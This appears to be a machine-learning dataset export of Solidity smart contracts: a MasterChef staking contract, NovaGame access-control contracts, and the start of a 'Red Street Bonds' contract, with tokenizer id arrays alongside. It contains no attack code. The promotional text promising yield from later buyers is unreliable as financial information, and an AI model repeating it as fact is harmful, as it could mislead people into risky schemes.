file_name
stringlengths
71
779k
comments
stringlengths
20
182k
code_string
stringlengths
20
36.9M
__index_level_0__
int64
0
17.2M
input_ids
sequence
attention_mask
sequence
labels
sequence
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "./IRewardLocker.sol"; // MasterChef is the master of OASIS. He can make OASIS and he is a fair guy. // // Note that it's ownable and the owner wields tremendous power. The ownership // will be transferred to a governance smart contract once OASIS is sufficiently // distributed and the community can show to govern itself. // // Have fun reading it. Hopefully it's bug-free. God bless. // For any questions contact @vinceheng on Telegram contract MasterChef is Ownable, ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 lastOasisPerShare; // Oasis per share on last update uint256 unclaimed; // Unclaimed reward in Oasis. // pending reward = user.unclaimed + (user.amount * (pool.accOasisPerShare - user.lastOasisPerShare) // // Whenever a user deposits or withdraws Staking tokens to a pool. Here's what happens: // 1. The pool's `accOasisPerShare` (and `lastOasisBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `lastOasisPerShare` gets updated. // 4. User's `amount` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. OASIS to distribute per block. uint256 totalDeposited; // The total deposited by users uint256 lastRewardBlock; // Last block number that OASIS distribution occurs. uint256 accOasisPerShare; // Accumulated OASIS per share, times 1e18. See below. uint256 poolLimit; uint256 unlockDate; } // The OASIS TOKEN! IERC20 public immutable oasis; address public pendingOasisOwner; address public oasisTransferOwner; address public devAddress; // Contract for locking reward IRewardLocker public immutable rewardLocker; // OASIS tokens created per block. uint256 public oasisPerBlock = 8 ether; uint256 public constant MAX_EMISSION_RATE = 1000 ether; // Safety check // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; // Total allocation points. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; uint256 public constant MAX_ALLOC_POINT = 100000; // Safety check // The block number when OASIS mining starts. uint256 public immutable startBlock; event Add(address indexed user, uint256 allocPoint, IERC20 indexed token, bool massUpdatePools); event Set(address indexed user, uint256 pid, uint256 allocPoint); event Deposit(address indexed user, uint256 indexed pid, uint256 amount, bool harvest); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount, bool harvest); event Harvest(address indexed user, uint256 indexed pid, uint256 amount); event HarvestMultiple(address indexed user, uint256[] _pids, uint256 amount); event HarvestAll(address indexed user, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); event SetDevAddress(address indexed user, address indexed newAddress); event UpdateEmissionRate(address indexed user, uint256 oasisPerBlock); event SetOasisTransferOwner(address indexed user, address indexed oasisTransferOwner); event AcceptOasisOwnership(address indexed user, address indexed newOwner); event NewPendingOasisOwner(address indexed user, address indexed newOwner); constructor( IERC20 _oasis, uint256 _startBlock, IRewardLocker _rewardLocker, address _devAddress, address _oasisTransferOwner ) public { require(_devAddress != address(0), "!nonzero"); oasis = _oasis; startBlock = _startBlock; rewardLocker = _rewardLocker; devAddress = _devAddress; oasisTransferOwner = _oasisTransferOwner; IERC20(_oasis).safeApprove(address(_rewardLocker), uint256(0)); IERC20(_oasis).safeIncreaseAllowance( address(_rewardLocker), uint256(-1) ); } function poolLength() external view returns (uint256) { return poolInfo.length; } mapping(IERC20 => bool) public poolExistence; modifier nonDuplicated(IERC20 _lpToken) { require(poolExistence[_lpToken] == false, "nonDuplicated: duplicated"); _; } // Add a new lp to the pool. Can only be called by the owner. function add(uint256 _allocPoint, IERC20 _lpToken, bool _massUpdatePools, uint256 _poolLimit, uint256 _unlockDate) external onlyOwner nonDuplicated(_lpToken) { require(_allocPoint <= MAX_ALLOC_POINT, "!overmax"); if (_massUpdatePools) { massUpdatePools(); // This ensures that massUpdatePools will not exceed gas limit } _lpToken.balanceOf(address(this)); // Check to make sure it's a token uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolExistence[_lpToken] = true; poolInfo.push(PoolInfo({ lpToken: _lpToken, totalDeposited: 0, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accOasisPerShare: 0, poolLimit: _poolLimit, unlockDate: _unlockDate })); emit Add(msg.sender, _allocPoint, _lpToken, _massUpdatePools); } // Update the given pool's OASIS allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint) external onlyOwner { require(_allocPoint <= MAX_ALLOC_POINT, "!overmax"); totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; emit Set(msg.sender, _pid, _allocPoint); } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public pure returns (uint256) { return _to.sub(_from); } // View function to see pending OASIS on frontend. function pendingOasis(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accOasisPerShare = pool.accOasisPerShare; if (block.number > pool.lastRewardBlock && pool.totalDeposited != 0 && totalAllocPoint != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 oasisReward = multiplier.mul(oasisPerBlock).mul(pool.allocPoint).div(totalAllocPoint); accOasisPerShare = accOasisPerShare.add(oasisReward.mul(1e18).div(pool.totalDeposited)); } return user.amount.mul(accOasisPerShare.sub(user.lastOasisPerShare)).div(1e18).add(user.unclaimed); } // Update reward variables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } if (pool.totalDeposited == 0 || pool.allocPoint == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 oasisReward = multiplier.mul(oasisPerBlock).mul(pool.allocPoint).div(totalAllocPoint); // oasis.mint(devAddress, oasisReward.div(50)); // 2% // oasis.mint(address(this), oasisReward); pool.accOasisPerShare = pool.accOasisPerShare.add(oasisReward.mul(1e18).div(pool.totalDeposited)); pool.lastRewardBlock = block.number; } // Deposit LP tokens to MasterChef for OASIS allocation. function deposit(uint256 _pid, uint256 _amount, bool _shouldHarvest) external nonReentrant { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; _updateUserReward(_pid, _shouldHarvest); if (_amount > 0) { uint256 beforeDeposit = pool.lpToken.balanceOf(address(this)); pool.lpToken.safeTransferFrom(msg.sender, address(this), _amount); uint256 afterDeposit = pool.lpToken.balanceOf(address(this)); _amount = afterDeposit.sub(beforeDeposit); user.amount = user.amount.add(_amount); pool.totalDeposited = pool.totalDeposited.add(_amount); require(pool.poolLimit > 0 && pool.totalDeposited <= pool.poolLimit, "Exceeded pool limit"); } emit Deposit(msg.sender, _pid, _amount, _shouldHarvest); } // Withdraw LP tokens from MasterChef. function withdraw(uint256 _pid, uint256 _amount, bool _shouldHarvest) external nonReentrant { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); require(block.timestamp > pool.unlockDate, "unlock date not reached"); _updateUserReward(_pid, _shouldHarvest); if (_amount > 0) { user.amount = user.amount.sub(_amount); pool.totalDeposited = pool.totalDeposited.sub(_amount); pool.lpToken.safeTransfer(msg.sender, _amount); } emit Withdraw(msg.sender, _pid, _amount, _shouldHarvest); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) external nonReentrant { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; uint256 amount = user.amount; user.amount = 0; user.lastOasisPerShare = 0; user.unclaimed = 0; pool.totalDeposited = pool.totalDeposited.sub(amount); pool.lpToken.safeTransfer(msg.sender, amount); emit EmergencyWithdraw(msg.sender, _pid, amount); } // Update the rewards of caller, and harvests if needed function _updateUserReward(uint256 _pid, bool _shouldHarvest) internal { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount == 0) { user.lastOasisPerShare = pool.accOasisPerShare; } uint256 pending = user.amount.mul(pool.accOasisPerShare.sub(user.lastOasisPerShare)).div(1e18).add(user.unclaimed); user.unclaimed = _shouldHarvest ? 0 : pending; if (_shouldHarvest && pending > 0) { _lockReward(msg.sender, pending); emit Harvest(msg.sender, _pid, pending); } user.lastOasisPerShare = pool.accOasisPerShare; } // Harvest one pool function harvest(uint256 _pid) external nonReentrant { _updateUserReward(_pid, true); } // Harvest specific pools into one vest function harvestMultiple(uint256[] calldata _pids) external nonReentrant { uint256 pending = 0; for (uint256 i = 0; i < _pids.length; i++) { updatePool(_pids[i]); PoolInfo storage pool = poolInfo[_pids[i]]; UserInfo storage user = userInfo[_pids[i]][msg.sender]; if (user.amount == 0) { user.lastOasisPerShare = pool.accOasisPerShare; } pending = pending.add(user.amount.mul(pool.accOasisPerShare.sub(user.lastOasisPerShare)).div(1e18).add(user.unclaimed)); user.unclaimed = 0; user.lastOasisPerShare = pool.accOasisPerShare; } if (pending > 0) { _lockReward(msg.sender, pending); } emit HarvestMultiple(msg.sender, _pids, pending); } // Harvest all into one vest. Will probably not be used // Can fail if pool length is too big due to massUpdatePools() function harvestAll() external nonReentrant { massUpdatePools(); uint256 pending = 0; for (uint256 i = 0; i < poolInfo.length; i++) { PoolInfo storage pool = poolInfo[i]; UserInfo storage user = userInfo[i][msg.sender]; if (user.amount == 0) { user.lastOasisPerShare = pool.accOasisPerShare; } pending = pending.add(user.amount.mul(pool.accOasisPerShare.sub(user.lastOasisPerShare)).div(1e18).add(user.unclaimed)); user.unclaimed = 0; user.lastOasisPerShare = pool.accOasisPerShare; } if (pending > 0) { _lockReward(msg.sender, pending); } emit HarvestAll(msg.sender, pending); } /** * @dev Call locker contract to lock rewards */ function _lockReward(address _account, uint256 _amount) internal { uint256 oasisBal = oasis.balanceOf(address(this)); rewardLocker.lock(oasis, _account, _amount > oasisBal ? oasisBal : _amount); } // Update dev address by the previous dev. function setDevAddress(address _devAddress) external onlyOwner { require(_devAddress != address(0), "!nonzero"); devAddress = _devAddress; emit SetDevAddress(msg.sender, _devAddress); } // Should never fail as long as massUpdatePools is called during add function updateEmissionRate(uint256 _oasisPerBlock) external onlyOwner { require(_oasisPerBlock <= MAX_EMISSION_RATE, "!overmax"); massUpdatePools(); oasisPerBlock = _oasisPerBlock; emit UpdateEmissionRate(msg.sender, _oasisPerBlock); } // Update oasis transfer owner. Can only be called by existing oasisTransferOwner function setOasisTransferOwner(address _oasisTransferOwner) external { require(msg.sender == oasisTransferOwner); oasisTransferOwner = _oasisTransferOwner; emit SetOasisTransferOwner(msg.sender, _oasisTransferOwner); } /** * @dev DUE TO THIS CODE THIS CONTRACT MUST BE BEHIND A TIMELOCK (Ideally 7) * THIS FUNCTION EXISTS ONLY IF THERE IS AN ISSUE WITH THIS CONTRACT * AND TOKEN MIGRATION MUST HAPPEN */ function acceptOasisOwnership() external { require(msg.sender == oasisTransferOwner); require(pendingOasisOwner != address(0)); // oasis.transferOwnership(pendingOasisOwner); pendingOasisOwner = address(0); emit AcceptOasisOwnership(msg.sender, pendingOasisOwner); } function setPendingOasisOwnership(address _pendingOwner) external { require(msg.sender == oasisTransferOwner); pendingOasisOwner = _pendingOwner; emit NewPendingOasisOwner(msg.sender, _pendingOwner); } }
View function to see pending OASIS on frontend.
function pendingOasis(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accOasisPerShare = pool.accOasisPerShare; if (block.number > pool.lastRewardBlock && pool.totalDeposited != 0 && totalAllocPoint != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 oasisReward = multiplier.mul(oasisPerBlock).mul(pool.allocPoint).div(totalAllocPoint); accOasisPerShare = accOasisPerShare.add(oasisReward.mul(1e18).div(pool.totalDeposited)); } return user.amount.mul(accOasisPerShare.sub(user.lastOasisPerShare)).div(1e18).add(user.unclaimed); }
6,488,720
[ 1, 1767, 445, 358, 2621, 4634, 531, 37, 15664, 603, 15442, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4634, 51, 17247, 12, 11890, 5034, 389, 6610, 16, 1758, 389, 1355, 13, 3903, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 8828, 966, 2502, 2845, 273, 2845, 966, 63, 67, 6610, 15533, 203, 3639, 25003, 2502, 729, 273, 16753, 63, 67, 6610, 6362, 67, 1355, 15533, 203, 3639, 2254, 5034, 4078, 51, 17247, 2173, 9535, 273, 2845, 18, 8981, 51, 17247, 2173, 9535, 31, 203, 3639, 309, 261, 2629, 18, 2696, 405, 2845, 18, 2722, 17631, 1060, 1768, 597, 2845, 18, 4963, 758, 1724, 329, 480, 374, 597, 2078, 8763, 2148, 480, 374, 13, 288, 203, 5411, 2254, 5034, 15027, 273, 31863, 5742, 12, 6011, 18, 2722, 17631, 1060, 1768, 16, 1203, 18, 2696, 1769, 203, 5411, 2254, 5034, 320, 17247, 17631, 1060, 273, 15027, 18, 16411, 12, 26501, 2173, 1768, 2934, 16411, 12, 6011, 18, 9853, 2148, 2934, 2892, 12, 4963, 8763, 2148, 1769, 203, 5411, 4078, 51, 17247, 2173, 9535, 273, 4078, 51, 17247, 2173, 9535, 18, 1289, 12, 26501, 17631, 1060, 18, 16411, 12, 21, 73, 2643, 2934, 2892, 12, 6011, 18, 4963, 758, 1724, 329, 10019, 203, 3639, 289, 203, 3639, 327, 729, 18, 8949, 18, 16411, 12, 8981, 51, 17247, 2173, 9535, 18, 1717, 12, 1355, 18, 2722, 51, 17247, 2173, 9535, 13, 2934, 2892, 12, 21, 73, 2643, 2934, 1289, 12, 1355, 18, 551, 80, 4581, 329, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.23; // @title iNovaStaking // @dev The interface for cross-contract calls to the Nova Staking contract // @author Dragon Foundry (https://www.nvt.gg) // (c) 2018 Dragon Foundry LLC. All Rights Reserved. This code is not open source. contract iNovaStaking { function balanceOf(address _owner) public view returns (uint256); } // @title iNovaGame // @dev The interface for cross-contract calls to the Nova Game contract // @author Dragon Foundry (https://www.nvt.gg) // (c) 2018 Dragon Foundry LLC. All Rights Reserved. This code is not open source. contract iNovaGame { function isAdminForGame(uint _game, address account) external view returns(bool); // List of all games tracked by the Nova Game contract uint[] public games; } // @title SafeMath // @dev Math operations with safety checks that throw on error library SafeMath { // @dev Multiplies two numbers, throws on overflow. function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; require(c / a == b, "mul failed"); return c; } // @dev Integer division of two numbers, truncating the quotient. function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } // @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "sub fail"); return a - b; } // @dev Adds two numbers, throws on overflow. function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "add fail"); return c; } } // @title Nova Game Access (Nova Token Game Access Control) // @dev NovaGame contract for controlling access to games, and allowing managers to add and remove operator accounts // @author Dragon Foundry (https://www.nvt.gg) // (c) 2018 Dragon Foundry LLC. All Rights Reserved. This code is not open source. contract NovaGameAccess is iNovaGame { using SafeMath for uint256; event AdminPrivilegesChanged(uint indexed game, address indexed account, bool isAdmin); event OperatorPrivilegesChanged(uint indexed game, address indexed account, bool isAdmin); // Admin addresses are stored both by gameId and address mapping(uint => address[]) public adminAddressesByGameId; mapping(address => uint[]) public gameIdsByAdminAddress; // Stores admin status (as a boolean) by gameId and account mapping(uint => mapping(address => bool)) public gameAdmins; // Reference to the Nova Staking contract iNovaStaking public stakingContract; // @dev Access control modifier to limit access to game admin accounts modifier onlyGameAdmin(uint _game) { require(gameAdmins[_game][msg.sender]); _; } constructor(address _stakingContract) public { stakingContract = iNovaStaking(_stakingContract); } // @dev gets the admin status for a game & account // @param _game - the gameId of the game // @param _account - the address of the user // @returns bool - the admin status of the requested account for the requested game function isAdminForGame(uint _game, address _account) external view returns(bool) { return gameAdmins[_game][_account]; } // @dev gets the list of admins for a game // @param _game - the gameId of the game // @returns address[] - the list of admin addresses for the requested game function getAdminsForGame(uint _game) external view returns(address[]) { return adminAddressesByGameId[_game]; } // @dev gets the list of games that the requested account is the admin of // @param _account - the address of the user // @returns uint[] - the list of game Ids for the requested account function getGamesForAdmin(address _account) external view returns(uint[]) { return gameIdsByAdminAddress[_account]; } // @dev Adds an address as an admin for a game // @notice Can only be called by an admin of the game // @param _game - the gameId of the game // @param _account - the address of the user function addAdminAccount(uint _game, address _account) external onlyGameAdmin(_game) { require(_account != msg.sender); require(_account != address(0)); require(!gameAdmins[_game][_account]); _addAdminAccount(_game, _account); } // @dev Removes an address from an admin for a game // @notice Can only be called by an admin of the game. // @notice Can&#39;t remove your own account&#39;s admin privileges. // @param _game - the gameId of the game // @param _account - the address of the user to remove admin privileges. function removeAdminAccount(uint _game, address _account) external onlyGameAdmin(_game) { require(_account != msg.sender); require(gameAdmins[_game][_account]); address[] storage opsAddresses = adminAddressesByGameId[_game]; uint startingLength = opsAddresses.length; // Yes, "i < startingLength" is right. 0 - 1 == uint.maxvalue, not -1. for (uint i = opsAddresses.length - 1; i < startingLength; i--) { if (opsAddresses[i] == _account) { uint newLength = opsAddresses.length.sub(1); opsAddresses[i] = opsAddresses[newLength]; delete opsAddresses[newLength]; opsAddresses.length = newLength; } } uint[] storage gamesByAdmin = gameIdsByAdminAddress[_account]; startingLength = gamesByAdmin.length; for (i = gamesByAdmin.length - 1; i < startingLength; i--) { if (gamesByAdmin[i] == _game) { newLength = gamesByAdmin.length.sub(1); gamesByAdmin[i] = gamesByAdmin[newLength]; delete gamesByAdmin[newLength]; gamesByAdmin.length = newLength; } } gameAdmins[_game][_account] = false; emit AdminPrivilegesChanged(_game, _account, false); } // @dev Adds an address as an admin for a game // @notice Can only be called by an admin of the game // @notice Operator privileges are managed on the layer 2 network // @param _game - the gameId of the game // @param _account - the address of the user to // @param _isOperator - "true" to grant operator privileges, "false" to remove them function setOperatorPrivileges(uint _game, address _account, bool _isOperator) external onlyGameAdmin(_game) { emit OperatorPrivilegesChanged(_game, _account, _isOperator); } // @dev Internal function to add an address as an admin for a game // @param _game - the gameId of the game // @param _account - the address of the user function _addAdminAccount(uint _game, address _account) internal { address[] storage opsAddresses = adminAddressesByGameId[_game]; require(opsAddresses.length < 256, "a game can only have 256 admins"); for (uint i = opsAddresses.length; i < opsAddresses.length; i--) { require(opsAddresses[i] != _account); } uint[] storage gamesByAdmin = gameIdsByAdminAddress[_account]; require(gamesByAdmin.length < 256, "you can only own 256 games"); for (i = gamesByAdmin.length; i < gamesByAdmin.length; i--) { require(gamesByAdmin[i] != _game, "you can&#39;t become an operator twice"); } gamesByAdmin.push(_game); opsAddresses.push(_account); gameAdmins[_game][_account] = true; emit AdminPrivilegesChanged(_game, _account, true); } } // @title Nova Game (Nova Token Game Data) // @dev NovaGame contract for managing all game data // @author Dragon Foundry (https://www.nvt.gg) // (c) 2018 Dragon Foundry LLC. All Rights Reserved. This code is not open source. contract NovaGame is NovaGameAccess { struct GameData { string json; uint tradeLockSeconds; bytes32[] metadata; } event GameCreated(uint indexed game, address indexed owner, string json, bytes32[] metadata); event GameMetadataUpdated( uint indexed game, string json, uint tradeLockSeconds, bytes32[] metadata ); mapping(uint => GameData) internal gameData; constructor(address _stakingContract) public NovaGameAccess(_stakingContract) { games.push(2**32); } // @dev Create a new game by setting its data. // Created games are initially owned and managed by the game&#39;s creator // @notice - there&#39;s a maximum of 2^32 games (4.29 billion games) // @param _json - a json encoded string containing the game&#39;s name, uri, logo, description, etc // @param _tradeLockSeconds - the number of seconds a card remains locked to a purchaser&#39;s account // @param _metadata - game-specific metadata, in bytes32 format. function createGame(string _json, uint _tradeLockSeconds, bytes32[] _metadata) external returns(uint _game) { // Create the game _game = games.length; require(_game < games[0], "too many games created"); games.push(_game); // Log the game as created emit GameCreated(_game, msg.sender, _json, _metadata); // Add the creator as the first game admin _addAdminAccount(_game, msg.sender); // Store the game&#39;s metadata updateGameMetadata(_game, _json, _tradeLockSeconds, _metadata); } // @dev Gets the number of games in the system // @returns the number of games stored in the system function numberOfGames() external view returns(uint) { return games.length; } // @dev Get all game data for one given game // @param _game - the # of the game // @returns game - the game ID of the requested game // @returns json - the json data of the game // @returns tradeLockSeconds - the number of card sets // @returns balance - the Nova Token balance // @returns metadata - a bytes32 array of metadata used by the game function getGameData(uint _game) external view returns(uint game, string json, uint tradeLockSeconds, uint256 balance, bytes32[] metadata) { GameData storage data = gameData[_game]; game = _game; json = data.json; tradeLockSeconds = data.tradeLockSeconds; balance = stakingContract.balanceOf(address(_game)); metadata = data.metadata; } // @dev Update the json, trade lock, and metadata for a single game // @param _game - the # of the game // @param _json - a json encoded string containing the game&#39;s name, uri, logo, description, etc // @param _tradeLockSeconds - the number of seconds a card remains locked to a purchaser&#39;s account // @param _metadata - game-specific metadata, in bytes32 format. function updateGameMetadata(uint _game, string _json, uint _tradeLockSeconds, bytes32[] _metadata) public onlyGameAdmin(_game) { gameData[_game].tradeLockSeconds = _tradeLockSeconds; gameData[_game].json = _json; bytes32[] storage data = gameData[_game].metadata; if (_metadata.length > data.length) { data.length = _metadata.length; } for (uint k = 0; k < _metadata.length; k++) { data[k] = _metadata[k]; } for (k; k < data.length; k++) { delete data[k]; } if (_metadata.length < data.length) { data.length = _metadata.length; } emit GameMetadataUpdated(_game, _json, _tradeLockSeconds, _metadata); } }
@dev Adds an address as an admin for a game @notice Can only be called by an admin of the game @notice Operator privileges are managed on the layer 2 network @param _game - the gameId of the game @param _account - the address of the user to @param _isOperator - "true" to grant operator privileges, "false" to remove them
function setOperatorPrivileges(uint _game, address _account, bool _isOperator) external onlyGameAdmin(_game) { emit OperatorPrivilegesChanged(_game, _account, _isOperator); }
7,873,505
[ 1, 3655, 392, 1758, 487, 392, 3981, 364, 279, 7920, 225, 4480, 1338, 506, 2566, 635, 392, 3981, 434, 326, 7920, 225, 11097, 19583, 854, 7016, 603, 326, 3018, 576, 2483, 225, 389, 13957, 300, 326, 7920, 548, 434, 326, 7920, 225, 389, 4631, 300, 326, 1758, 434, 326, 729, 358, 225, 389, 291, 5592, 300, 315, 3767, 6, 358, 7936, 3726, 19583, 16, 315, 5743, 6, 358, 1206, 2182, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 444, 5592, 27692, 12, 11890, 389, 13957, 16, 1758, 389, 4631, 16, 1426, 389, 291, 5592, 13, 203, 565, 3903, 203, 565, 1338, 12496, 4446, 24899, 13957, 13, 203, 225, 288, 203, 565, 3626, 11097, 27692, 5033, 24899, 13957, 16, 389, 4631, 16, 389, 291, 5592, 1769, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.21; /* Red Street presents........ ██████╗ ███████╗██████╗ ███████╗████████╗██████╗ ███████╗███████╗████████╗ ██████╗ ██████╗ ███╗ ██╗██████╗ ███████╗ ██╔══██╗██╔════╝██╔══██╗ ██╔════╝╚══██╔══╝██╔══██╗██╔════╝██╔════╝╚══██╔══╝ ██╔══██╗██╔═══██╗████╗ ██║██╔══██╗██╔════╝ ██████╔╝█████╗ ██║ ██║ ███████╗ ██║ ██████╔╝█████╗ █████╗ ██║ ██████╔╝██║ ██║██╔██╗ ██║██║ ██║███████╗ ██╔══██╗██╔══╝ ██║ ██║ ╚════██║ ██║ ██╔══██╗██╔══╝ ██╔══╝ ██║ ██╔══██╗██║ ██║██║╚██╗██║██║ ██║╚════██║ ██║ ██║███████╗██████╔╝ ███████║ ██║ ██║ ██║███████╗███████╗ ██║ ██████╔╝╚██████╔╝██║ ╚████║██████╔╝███████║ ╚═╝ ╚═╝╚══════╝╚═════╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝╚══════╝╚══════╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚═════╝ ╚══════╝ website: https://redstreetmarket.com discord: https://discord.gg/Nmcax6V Red Street Bonds is a game with earning opportunities avaliable for players actively engaged in the game. Buy a bond and reap the rewards from other players as they buy in. Bonds also distribute 5% yield from buys and sell of the Stock Exchange which is also available on the Red Street Market. The price of your bond automatically increases once you buy it. You earn yield until someone else buys your bond. Then you collect 50% of the gain. 40% of the gain is distributed to the other bond owners. 5% goes to Red Street Marketing. The yields are based on the relative price of your bond. If your bond is priced higher than the average of the other bonds, you will get proportionally more 